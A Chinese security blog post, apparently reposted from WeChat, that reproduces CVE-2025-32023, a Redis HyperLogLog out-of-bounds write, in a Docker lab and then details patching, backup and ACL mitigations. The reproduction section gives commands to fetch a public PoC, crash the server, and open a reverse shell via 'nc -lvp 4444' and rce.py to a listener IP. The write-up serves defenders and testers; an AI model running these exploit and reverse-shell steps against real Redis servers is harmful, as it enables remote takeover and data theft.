1.1.1漏洞概述
Redis 在 HyperLogLog(HLL)数据结构的操作中存在越界写入漏洞。经过身份验证的攻击者可通过构造特定的恶意字符串,在执行 HLL 相关命令(如PFADD
、PFCOUNT
、PFMERGE
)时触发堆栈或堆内存的越界写入。内存破坏可能被进一步利用,最终导致远程代码执行(RCE),攻击者可在服务器上执行任意系统命令,完全控制服务器、泄露数据或破坏业务系统。
1.1.2漏洞成因
HyperLogLog 稀疏模式转换:Redis 的 HLL 数据结构支持稀疏和稠密两种存储模式。当稀疏模式下的 HLL 数据量超过阈值(默认 3000 字节)时,会自动转换为稠密模式。在此转换过程中,若攻击者构造的恶意数据导致内存分配或复制操作越界,可能触发缓冲区溢出或越界写入。
内存管理缺陷:在 HLL 数据结构的合并(PFMERGE)或计数(PFCOUNT)操作中,未对输入数据的边界进行严格校验,导致攻击者可通过精心构造的字符串覆盖相邻内存区域,破坏程序控制流。
1.影响范围
Redis 8.0.0 <= 8.0.3
Redis 7.2.0 <= 7.2.10
Redis 7.4.0 <= 7.4.5
Redis 6.2.0 <= 6.2.19
2.技术细节
触发条件:攻击者需具备 Redis 用户权限,通过网络远程执行 HLL 相关命令(如PFADD、PFCOUNT、PFMERGE),并构造包含特定长度或格式的恶意字符串。
攻击向量:
- 越界写入:恶意字符串导致内存分配或复制操作超出缓冲区边界,覆盖关键数据结构(如函数指针、返回地址),从而控制程序执行流。
- ROP 链构造:攻击者可利用越界写入构造 ROP(Return-Oriented Programming)链,绕过内存保护机制(如 ASLR、NX),执行任意代码。
漏洞利用成熟度:POC/EXP 已公开,攻击者可通过构造恶意 HLL 数据触发漏洞,实现远程代码执行。
3.风险评估
CVSS 评分:9.8(高危,远程代码执行)
权限要求:需要身份验证(用户权限)
触发方式:网络远程,无需用户交互
危害等级:高,可能导致服务器完全控制、数据泄露或业务中断。
1.2漏洞复现
目前可测试poc地址https://github.com/leesh3288/CVE-2025-32023
在实际测试过程中有很多坑,以下是实际复现过程。
1.2.1直接漏洞测试出错
1.下载并执行poc
git clone https://github.com/leesh3288/CVE-2025-32023.git
cd CVE-2025-32023
python3 poc.py
2.缺少组件
需要安装pwn工具,安装python3-pwntools
sudo apt install python3-pwntools
3.拉取docker
国内地址下载docker直接失败,换用vps或者境外ip直接来去docker到本地。
(1)拉取docker文件到本地
docker pull redis:7.4.2-alpine3.21@sha256:02419de7eddf55aa5bcf49efb74e88fa8d931b4d77c07eff8a6b2144472b6952
(2)提取并保存为redis_image.tar文件
docker save -o redis_image.tar redis:7.4.2-alpine3.21@sha256:02419de7eddf55aa5bcf49efb74e88fa8d931b4d77c07eff8a6b2144472b6952
(3)从本地的 redis_image.tar 文件中加载(导入)Redis 镜像到 Docker 环境中
docker load -i redis_image.tar
(4)查看镜像情况
(5)运行redis
docker run --rm -p 6379:6379 -it 8f5c54441eb9
(6)确认 Redis 服务运行状态
redis-cli -h localhost -p 6379 ping
1.2.2测试是否存在漏洞
代码中的poc.py文件为测试是否存在漏洞,python3 poc.py 执行成功后,docker会直接崩溃,表明存在漏洞。直接测试是需要谨慎!!!
1.2.3rce漏洞测试
1.获取 Redis 容器的 ID
本例中为cc7079ae54fc,然后,从容器中复制 redis-server 到当前目录
docker cp cc7079ae54fc:/usr/local/bin/redis-server .
2.执行rce利用代码
python3 solver-f0b22e429fa6c984f39a409744ff954d3a45d843edd29428ef3a68085d696a7d.py
即可获取redis本地的shell
3.探索真实环境的利用
(1)在本地启动监听
nc -lvp 4444
(2)执行脚本触发反向 shell
python3 rce.py 172.17.0.2 -p 6379 --reverse-shell --local-ip 192.168.199.136 --local-port 4444
通过测试代码可以进行漏洞检测和本地shell,但无法直接在公网进行实际测试。
1.3修复建议
1.3.1升级修复
1.官方补丁
Redis 8.0.3 及以上版本:https://github.com/redis/redis/releases/tag/8.0.3
Redis 7.2.10 及以上版本:https://github.com/redis/redis/releases/tag/7.2.10
Redis 7.4.5 及以上版本:https://github.com/redis/redis/releases/tag/7.4.5
Redis 6.2.19 及以上版本:https://github.com/redis/redis/releases/tag/6.2.19
2.升级步骤
(1)备份
- 单机环境备份
# 方法1:RDB快照(推荐)
redis-cli -h <host> -p <port> -a <password> bgsave # 后台异步快照
ls -lt /var/lib/redis/dump.rdb # 确认RDB文件生成(默认路径,需参考redis.conf)
# 方法2:AOF日志(增量备份)
# 确保appendonly=yes(redis.conf)
cp /var/lib/redis/appendonly.aof /backup/appendonly_$(date +%Y%m%d).aof # 复制AOF文件
# 验证备份完整性
redis-cli --rdb /backup/dump.rdb --test-memory 1024 # 测试RDB文件可加载
- 集群环境备份(以 3 主 3 从为例)
# 滚动备份每个节点
for port in 6379 6380 6381; do
redis-cli -p $port -a password bgsave
rsync -av /var/lib/redis/$port/dump.rdb /backup/redis_cluster/ # 远程同步备份
done
# 集群一致性校验(所有节点RDB时间戳一致)
redis-cli -c -a password cluster nodes | grep -v myself | awk '{print $9}' # 检查最后一次RDB时间
(2)服务停止
- 单机停止(推荐)
# 方式1:通过redis-cli(自动触发持久化)
redis-cli -h 172.17.0.2 -p 6379 -a 'secure_pass' shutdown # 等待约5-10秒
# 方式2:systemd管理(适用于Linux系统服务)
sudo systemctl stop redis # 查看状态
sudo systemctl status redis | grep Active # 应显示inactive
- 集群滚动停止(零中断升级)
# 步骤1:升级从节点(以节点6380为例)
redis-cli -p 6380 -a password shutdown # 优雅停止从节点
ps aux | grep redis-server # 确认进程终止(PID消失)
# 步骤2:主节点角色切换(避免停机)
redis-cli -h master_ip -p 6379 -a password cluster failover # 提升从节点为主节点
redis-cli -c -a password cluster nodes | grep master # 验证角色切换
# 步骤3:停止旧主节点
redis-cli -p 6379 -a password shutdown
- 强制停止(仅紧急情况)
# 查找Redis进程(注意区分实例)
ps aux | grep redis-server | awk '{print $2}' # 获取PID
sudo kill -9 <PID> # 强制终止(可能导致数据丢失,需配合备份)
(3)补丁安装(分版本操作)
- 下载官方补丁(以 8.0.3 为例)
# 源码编译(推荐)
wget https://github.com/redis/redis/archive/refs/tags/8.0.3.tar.gz
tar -zxvf 8.0.3.tar.gz && cd redis-8.0.3
make && make install PREFIX=/usr/local/redis-8.0.3 # 自定义安装路径
# RPM/DEB包安装(适合Linux发行版)
# CentOS/RHEL
yum install https://rpms.redis.io/8.0/redis-8.0.3-1.el7.x86_64.rpm
# Ubuntu/Debian
apt-get install redis-server=8.0.3-1 # 需配置Redis官方源
- 二进制替换(适用于自定义部署)
# 备份旧文件
mv /usr/local/redis/bin/redis-server /usr/local/redis/bin/redis-server_old
mv /usr/local/redis/bin/redis-cli /usr/local/redis/bin/redis-cli_old
# 替换新二进制
cp ./redis-8.0.3/src/redis-server /usr/local/redis/bin/
cp ./redis-8.0.3/src/redis-cli /usr/local/redis/bin/
(4)配置文件适配
# 对比新旧配置(重点检查持久化、端口、ACL)
diff /etc/redis/redis.conf /usr/local/redis-8.0.3/redis.conf.sample
# 关键配置确认(新增安全项)
grep -E 'hll-sparse-max-bytes|active-defrag' /etc/redis/redis.conf # 确保漏洞修复配置存在
1.3.2.临时缓解措施
1.ACL 限制命令
使用 Redis 访问控制列表(ACL)限制用户执行 HLL 相关命令。例如,禁止普通用户执行PFADD、PFCOUNT、PFMERGE:
# 连接Redis CLI
redis-cli
# 创建受限用户
ACL SETUSER restricted_user on >password +@all -PFADD -PFCOUNT -PFMERGE
# 切换用户
AUTH restricted_user password
2.网络访问控制
通过防火墙限制 Redis 端口(默认 6379)的访问,仅允许受信任的 IP 地址连接。
1.4结束语
CVE-2025-32023 rce漏洞确实存在,在实际测试过程中需要在本地配置有redis-server二进制文件,才能rce。
原文始发于微信公众号(小兵搞安全):Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)复现研究
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论